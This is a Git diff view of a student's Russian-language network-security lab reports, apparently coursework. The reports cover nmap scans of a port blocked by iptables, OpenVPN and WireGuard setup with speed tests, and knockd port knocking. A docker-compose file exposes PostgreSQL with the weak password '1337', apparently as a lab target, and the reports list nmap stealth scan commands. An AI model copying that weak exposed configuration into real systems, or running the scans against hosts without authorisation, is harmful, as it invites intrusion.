02-pentest/01-network/02-scanner/03-postgresql/docker-compose.yaml Normal file
View File

@@ -0,0 +1,16 @@
version: '3.3'
services:
postgres:
image: library/postgres:16.2
volumes:
- postgres-data:/var/lib/postgresql
environment:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: 1337
ports:
- '5432:5432'
restart: always
volumes:
postgres-data:

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/1.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 62 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/2.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 54 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/3.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 54 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/4.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 54 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/5.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 55 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/6.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 55 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/7.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 97 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/8.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 97 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/9.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 55 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/image01.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 59 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/image02.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 122 KiB

BIN
02-pentest/01-network/02-scanner/03-postgresql/img/image03.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 110 KiB

44
02-pentest/01-network/02-scanner/04-iptables/README.md Normal file
View File

@@ -0,0 +1,44 @@
# Сканирование сетей. Лабораторная работа №4 (HW)
## Ход работы
1. Заблокируем порт `21/tcp` на машине `ubuntu` с помощью iptables по политике REJECT.
```bash
sudo iptables -A INPUT -p tcp --dport 21 -j REJECT
```
![alt text](img/image01.png)
2. Просканируем заблокированный в пункте 1 порт типами сканирования TCP SYN Scan, TCP Connect Scan, UDP Scan, TCP FIN Scan, TCP NULL Scan, TCP Xmas Scan и TCP ACK Scan.
```bash
nmap 192.168.103.100 -p 21 -sS
nmap 192.168.103.100 -p 21 -sT
nmap 192.168.103.100 -p 21 -sU
nmap 192.168.103.100 -p 21 -sF
nmap 192.168.103.100 -p 21 -sN
nmap 192.168.103.100 -p 21 -sX
nmap 192.168.103.100 -p 21 -sA
```
![alt text](img/image02.png)
В целом результаты довольно ожидаемые, все методы кроме TCP Connect Scan и UDP Scan определили, что порт фильтруется.
UDP закрыт, так как на данном порту действительно нет службы, а TCP Connect считается открытым, если открылось соединение.
3. Заменим политику с `REJECT` на `DROP`
`sudo iptables -R INPUT 1 -p tcp --dport 21 -j DROP`
![alt text](img/image03.png)
4. Повторим п.2
![alt text](img/image04.png)
Можно заметить, что точность определения открытости портов сильно уменьшилась, связано это с тем, что при политике `DROP` устройство не посылает сообщение о том, что пакет был отброшен, в результате чего сканер не может вынести однозначный вердикт о доступности порта.
## Выводы
Мы рассмотрели работу утилиты `nmap` в случае, когда на целевом хосте применяются правила `iptables` для ограничения доступа к хосту. Можно заметить, что `iptables` это очень легковесный инструмент, который позволяет неплохо защитить устройство от незаметного сканирования, в следствие чего его стоит использовать, если нет возможности защищать устройство с помощью межсетевых экранов и/или IPS.
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.

BIN
02-pentest/01-network/02-scanner/04-iptables/img/image01.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 24 KiB

BIN
02-pentest/01-network/02-scanner/04-iptables/img/image02.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 124 KiB

BIN
02-pentest/01-network/02-scanner/04-iptables/img/image03.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 60 KiB

BIN
02-pentest/01-network/02-scanner/04-iptables/img/image04.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 121 KiB

234
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/README.md Normal file
View File

@@ -0,0 +1,234 @@
# Сетевая безопасность. Лабораторная работа №1 (HW)
## Ход работы
Для стенда мы будем использовать 2 виртуальные машины `Ubuntu Linux 22.04`:
| hostname | ip address |
| ----- | ----- |
| ubuntu | 192.168.103.100 |
| ubuntu2 | 192.168.103.101 |
`ubuntu` будет использоваться в качестве сервера, а `ubuntu2` -- в качестве клиента.
С помощью инструмента `iperf3` и замерим скорость передачи данных в условиях открытой сети.
![alt text](img/03.png)
Как видим, при отсутствии VPN скорость между хостами около 18 Гбит/с.
### Настройка OpenVPN
1. Для настройки OpenVPN установим необходимые пакеты на обе машины с помощью `sudo apt install openvpn`
`ubuntu`
![alt text](img/01.png)
`ubuntu2`
![alt text](img/02.png)
2. Настроим сервер OpenVPN на `ubuntu`
1. Создадим каталог `/etc/openvpn/easy-rsa` и скопируем в него исполняемый файл `easy-rsa`
```bash
root@ubuntu:/home/marker# mkdir /etc/openvpn/easy-rsa
root@ubuntu:/home/marker# cp -R /usr/share/easy-rsa /etc/openvpn/
root@ubuntu:/home/marker# cd /etc/openvpn/easy-rsa/
```
2. Выполним инициализацию PKI
```bash
./easyrsa init-pki
```
![alt text](img/10.png)
3. Выпустим корневой сертификат
```bash
./easyrsa build-ca
```
![alt text](img/11.png)
4. Сгенерируем последовательность Диффи-Хелмана (DH)
```bash
./easyrsa gen-dh
```
![alt text](img/12.png)
5. Создадим CRL
```bash
./easyrsa gen-crl
```
![alt text](img/13.png)
6. Сгенерируем ключ TLS-Auth
```bash
openvpn --genkey tls-auth /etc/openvpn/ta.key
```
![alt text](img/14.png)
7. Сгенерируем серверный сертификат
```bash
./easyrsa build-server-full server nopass
```
![alt text](img/15.png)
8. Скопируем криптографическую информацию в папку `/etc/openvpn/`
```bash
cp ./pki/ca.crt /etc/openvpn/ca.crt
cp ./pki/dh.pem /etc/openvpn/dh2048.pem
cp ./pki/crl.pem /etc/openvpn/crl.pem
cp ./pki/issued/server.crt /etc/openvpn/server.crt
cp ./pki/private/server.key /etc/openvpn/server.key
```
9. Создадим файл `/etc/openvpn/server.conf` и наполним его следующим:
```
port 1194
# TCP or UDP server?
;proto tcp
proto udp
dev tun
ca ca.crt
cert server.crt
key server.key # This file should be kept secret
dh dh2048.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist /var/log/openvpn/ipp.txt
keepalive 10 120
tls-auth ta.key 0 # This file is secret
cipher CHACHA20-POLY1305
data-ciphers CHACHA20-POLY1305
persist-key
persist-tun
status /var/log/openvpn/openvpn-status.log
verb 3
```
Таким образом мы указали, что мы будем работать по протоколу UDP на порту 1194, использовать ранее сгенерированные криптопоследовательности, а частной сетью будет `10.8.0.0/24` (у сервера будет адрес `10.8.0.1`)
10. Сгенерируем клиентский сертификат
```bash
./easyrsa build-client-full client nopass
```
![alt text](img/16.png)
11. Скопируем криптографическую информацию клиента в папку `/etc/openvpn/clients/client`
```bash
mkdir /etc/openvpn/clients
mkdir /etc/openvpn/clients/client
cp /etc/openvpn/easy-rsa/pki/ca.crt /etc/openvpn/clients/client/
cp /etc/openvpn/ta.key /etc/openvpn/clients/client/
cp /etc/openvpn/easy-rsa/pki/issued/client.crt /etc/openvpn/clients/client/
cp /etc/openvpn/easy-rsa/pki/private/client.key /etc/openvpn/clients/client/
```
12. Создадим файл конфигурации клиента `/etc/openvpn/clients/client/client.conf`
```
client
dev tun
;proto tcp
proto udp
remote 192.168.103.100 1194
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.key
remote-cert-tls server
tls-auth ta.key 1
cipher CHACHA20-POLY1305
data-ciphers CHACHA20-POLY1305
verb 3
```
13. Папку с конфигурацией клиента и криптографической информацией передадим на машину `ubuntu2` с помощью `scp`
`scp /etc/openvpn/clients/client/* marker@192.168.103.101:/home/marker/client`
![alt text](img/17.png)
14. Запустим сервер и клиент.
![alt text](img/18.png)
15. Проверим наличие сетевых интерфейсов.
![alt text](img/19.png)
3. Проверим скорость соединения с помощью `iperf3`
![alt text](img/20.png)
Мы получили среднюю скорость около 850 Мбит/c. Теперь проверим, как этот результат изменится, в случае использования TCP.
4. Изменяем строку `proto udp` на `proto tcp` в конфигах сервера и клиента.
5. Перезапускаем сервер и клиент и проверяем скорость.
![alt text](img/21.png)
Мы получили среднюю скорость в 1.1 Гбит/с. Что довольно странно, учитывая, что мы используем TCP. Я предполагаю, что дело в том, что в данном тесте мы используем одно L2 пространство, где нет маршрутизирующих устройств, а при режиме UDP OpenVPN по сути просто инкапсулирует SSL/TLS в UDP, отсюда появляется значимый оверхед, который нивелируется в реальном использовании.
### Настройка Wireguard
1. С помощью `sudo apt install wireguard` установим необходимые пакеты на виртуальные машины
`ubuntu`:
![alt text](img/05.png)
`ubuntu2`:
![alt text](img/04.png)
2. С помощью утилиты `wg genkey` сгенерируем на машинах пары приватный-публичный ключ.
![alt text](img/06.png)
3. Составим конфиги для машин на основании полученных пар ключей.
![alt text](img/07.png)
4. Запустим демонов, которые поднимут указанные интерфейсы и проверим связность по VPN интерфейсам.
![alt text](img/08.png)
5. Мы обеспечили связность через VPN. Теперь замерим скорость между машинами с помощью `iperf3`
![alt text](img/09.png)
Средняя скорость 7.7 Гбит/с.
## Выводы
Итак, мы получили следующие результаты:
| VPN Protocol | Bitrate |
| ----- | ----- |
| OpenVPN (UDP) | 850 Mbps |
| OpenVPN (TCP) | 1.1 Gbps |
| Wireguard | 7.7 Gbps |
OpenVPN в режиме TCP показал более высокую скорость, но только в рамках стенда, как показывает практика режим UDP является более предпочтительным для обеспечения большей скорости передачи.
Wireguard обеспечивает значительно более высокую производительность благодаря своей более легковесной архитектуре, использованию более современных алгоритмов шифрования и механизмам оптимизации.
Wireguard работает поверх протокола UDP, чем и объясняется такая скорость, а легковесная архитектура позволяет максимизировать это преимущество.
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/01.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 189 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/02.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 178 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/03.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 90 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/04.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 159 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/05.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 174 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/06.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 68 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/07.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 73 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/08.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 164 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/09.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 180 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/10.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 15 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/11.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 69 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/12.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 48 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/13.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 42 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/14.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 9.6 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/15.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 77 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/16.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 80 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/17.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 48 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/18.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 279 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/19.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 60 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/20.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 181 KiB

BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/21.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 181 KiB

81
02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/README.md Normal file
View File

@@ -0,0 +1,81 @@
# Сетевая безопасность. Лабораторная работа №2 (HW)
## Ход работы
1. Установим пакет `knockd` на обе виртуальные машины
![alt text](img/01.png)
2. На машине `ubuntu` предварительно настроим `iptables`, разрешив только установленные соединения и SSH.
![alt text](img/02.png)
3. Проверим подключение c машины `ubuntu2`
![alt text](img/03.png)
Видим, что подключение отсутствует, при этом SSH сессия до машины не оборвалась, делаем вывод, что правила `iptables` настроены верно.
4. После настройки пакетного фильтра необходимо инициализировать службу knockd. Для этого в файле /etc/default/knockd изменим следующую опцию и присвоить ей значение “1”:
![alt text](img/04.png)
5. Создадим файл, заполненный `one-time sequence`, то есть набором одноразовых последовательностей, которые будут использовать для открытия порта.
![alt text](img/05.png)
6. Настроим демон `knockd` так, чтобы он использовал созданный файл для открытия доступа к порту.
`nano /etc/knockd.conf`
![alt text](img/06.png)
7. Сделаем автостарт службы и запустим её
```
systemctl enable knockd.service
systemctl start knockd.service
```
8. С помощью `nmap` проверим доступность порта `1194/tcp` на машине `ubuntu`
![alt text](img/10.png)
Видим, что `nmap` определяет порт как фильтрующийся.
9. На машине `ubuntu2` выполним команду `knock` и укажем адрес подключения и последовательность.
![alt text](img/07.png)
10. На машине `ubuntu` проверим наполнение `iptables` и содержимое файла `/etc/knockd/openvpn_ots`
![alt text](img/08.png)
Видим, что в `iptables` появилось разрешающее правило, а в `/etc/knockd/openvpn_ots` закомментировалась строка с использованной последовательностью.
11. Проверим подключение `openvpn` с `ubuntu2` к `ubuntu`
![alt text](img/09.png)
Видим, что подключение выполнилось успешно.
12. С помощью `nmap` ещё раз проверим доступность порта `1194/tcp` на машине `ubuntu`
![alt text](img/11.png)
Видим, что теперь порт доступен.
13. Воспользуемся второй последовательностью, и проанализируем лог `tcpdump`
![alt text](img/12.png)
Видим, что при использовании `knock` на адрес посылаются пакеты в указанной последовательности, на который целевой адрес не отвечает, но как мы видели ранее, в этот момент сервер делает запись в `iptables`, разрешающее подключение.
![alt text](img/13.png)
## Выводы
Port Knocking — это метод усиления защиты путем скрытия открытых портов от несанкционированного доступа с помощью сочетания «стуков» на определенные порты. Метод может обеспечиваться с помощью демона `knockd`, который имеет большое количество параметров, одним из которых является `one-time sequence`, то есть одноразовые последовательсти -- набор "стуков", который может быть использован для открытия портов только один раз.
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.

BIN
02-pentest/01-network/03-vpn-dmz-wifi/02-port-knocking/img/01.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 203 KiB

Some files were not shown because too many files have changed in this diff Show More